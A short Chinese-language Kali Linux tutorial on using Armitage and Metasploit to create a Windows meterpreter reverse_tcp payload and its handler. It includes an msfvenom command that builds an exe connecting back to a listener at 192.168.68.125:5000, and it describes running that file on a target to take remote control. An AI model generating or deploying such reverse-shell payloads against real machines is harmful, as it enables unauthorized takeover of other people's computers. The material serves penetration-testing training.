Kali渗透测试：使用 Armitage生成被控端和主控端
Armitage就是一款使用Java为Metasploit编写的有图形化操作界面的软件，通过它可以轻松的使用Metasploit对目标进行攻击。
Armitage的工作界面如图所示：
首先我们在区域1中选中“payload”， 然后选择“windows” ➡️“meterpreter”， 找到所需的攻击载荷（即meterpreter_reverse_tcp）来充当被控端，如下图所示：
双击这个攻击载荷，会弹出下图的界面，在该界面中可以对meterpreter_reverse_tcp进行设置。
图中所示的设置其实是为meterpreter_reverse_tcp这个发出去的攻击载荷创建了一个主控端，Metasploit也将这个主控端称为handler。但是我们可能要控制多个攻击载荷，所以要将这个handler设置得跟攻击载荷一样。产生攻击载荷的命令如下：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.68.125 LPORT=5000 -f exe -o /root/payload.exe
使用相同的步骤，我们可以产生一个被控端，这里将其端口设置为5000，“Output”处选择要输出的格式，这里设置为exe，如图所示：
单击“Launch”按钮，会产生一个基于meterpreter_reverse_tcp的被控端，并在原来的命令行窗口旁边产生一个新的控制窗口，这个窗口可以用来接收来自我们刚创建的被控端返回的连接，如图所示：
接下来，我们只需在目标主机上执行这个攻击载荷，就可以使用这个handler来控制目标主机了。现在将攻击载荷移动到目标主机中，当这个攻击载荷执行以后，我们就可以从远程控制目标主机了。如下图所示：
